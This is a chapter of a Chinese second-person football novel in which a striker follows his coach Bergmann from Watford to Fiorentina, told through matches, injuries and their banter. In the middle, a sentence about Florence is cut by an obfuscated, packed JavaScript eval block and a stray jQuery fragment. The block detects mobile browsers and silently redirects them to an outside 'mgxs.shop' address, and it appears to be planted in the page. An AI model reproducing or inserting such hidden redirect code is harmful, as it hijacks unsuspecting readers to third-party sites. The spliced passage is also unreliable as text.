2018年12月 | 沃特福德
英超的圣诞赛程是真正的炼狱。七天三赛,你的身体开始报警——腿筋发紧,膝盖酸胀。
但你没说,因为你看到伯格曼的秃顶似乎比以前更亮了,那是压力。
对阵切尔西,你在禁区内和吕迪格争顶,落地时踩在球上,脚踝扭了一下。你咬牙踢完了全场,打进一粒点球——切尔西门将凯帕扑错了方向。
赛后队医检查后说至少要休两周,伯格曼知道了,没骂你,只是说:“你是不是傻?”你说:“点球进了就行。”
伯格曼气得把战术板摔在桌上,然后叹了口气:“你这个脑子,真的是……”
他没说完,但你懂他的意思——脖子以下世界级,脖子以上……至少点球很稳。
那个赛季你为沃特福德打进14球,球队排名第11,不上不下。
伯格曼对媒体说韦伯是一个“奇特的球员”,
“有时候你不知道他在场上想什么,但你知道,只要给他机会,他能把球弄进去。”
这大概是你职业生涯收到的评价里最精准的一句。
——
2019年6月 | 沃特福德
赛季结束后,伯格曼又一次换工作了。
这次不是他主动要走,而是沃特福德因为成绩平庸(连续两个赛季中游)决定换帅,伯格曼下课。
你收到消息的时候正在家打游戏——你有段时间迷上了《FIFA》,被人开玩笑说“游戏里的自己比现实中的自己好用多了”。
你放下手柄,愣了几秒钟,然后拨通了伯格曼的电话。电话那头很吵,像是在餐厅里,伯格曼的声音不大:“我在谈,还没定。”
你说:“我说过了,你去哪,我去哪。”伯格曼沉默了几秒:“这次不是英超,是意甲。佛罗伦萨。”
你从来没去过意大利,不会说意大利语,不认识任何人。
但你第二天就让经纪人去谈转会了。
佛罗伦萨的报价很痛快:1800万欧元。沃特福德没有为难你,毕竟你合同里有解约条款——那是伯格曼当初坚持加进去的。
他在那个时候就在为离开做准备,或者说,他在那个时候就在为你俩的离开做准备。
有记者问你为什么总跟着一个教练转会,你说:“因为他教会我怎么用脑子踢球。”
记者又问:“那你想过自己当核心、当领袖吗?”
你想了想,说:“我不是那块料。”
记者以为你在谦虚,其实你说的是实话。你知道自己是什么——一把好锤子,需要有人告诉你往哪儿砸。
——
2019年8月
佛罗伦萨比柏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706742|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林暖和,比沃特福德漂亮,但你没有心思去看圣母百花大教堂。
你的意大利语只有三个词汇:“Ciao”“Grazie”“Palermo”(巴勒莫是你唯一知道的意大利城市)。
伯格曼在训练场上比在英格兰时更严厉,因为佛罗伦萨开局三连败,球迷已经在骂“德国骗子”了。
第四轮对阵乌迪内斯,你梅开二度,两个进球都是禁区内的抢点——第一球用膝盖撞进去,第二球用脚尖捅进去,都不漂亮,但都算数。
赛后佛罗伦萨当地媒体写:“韦伯的进球像泥瓦匠的手艺,不精致但管用。”
你觉得这个评价很亲切,因为你父亲就是泥瓦匠出身的——不,他是钢铁厂的,但差不多。
那个赛季你打进24个意甲进球,刷新了个人职业生涯单赛季纪录。伯格曼的佛罗伦萨排名第七,拿到了欧协联的资格。
赛季结束后,伯格曼在办公室里对你说:“我可能要在这儿待很久,你做好心理准备。”
你靠在椅背上,笑了笑:“我从17岁就跟着你到处跑,你觉得我还会怕‘很久’吗?”伯格曼也笑了,从抽屉里拿出一瓶红酒,倒了半杯推给你:“少喝点,你还要踢很多年。”
你端起酒杯,碰了他的水杯。
窗外的佛罗伦萨落日把整个城市染成了琥珀色。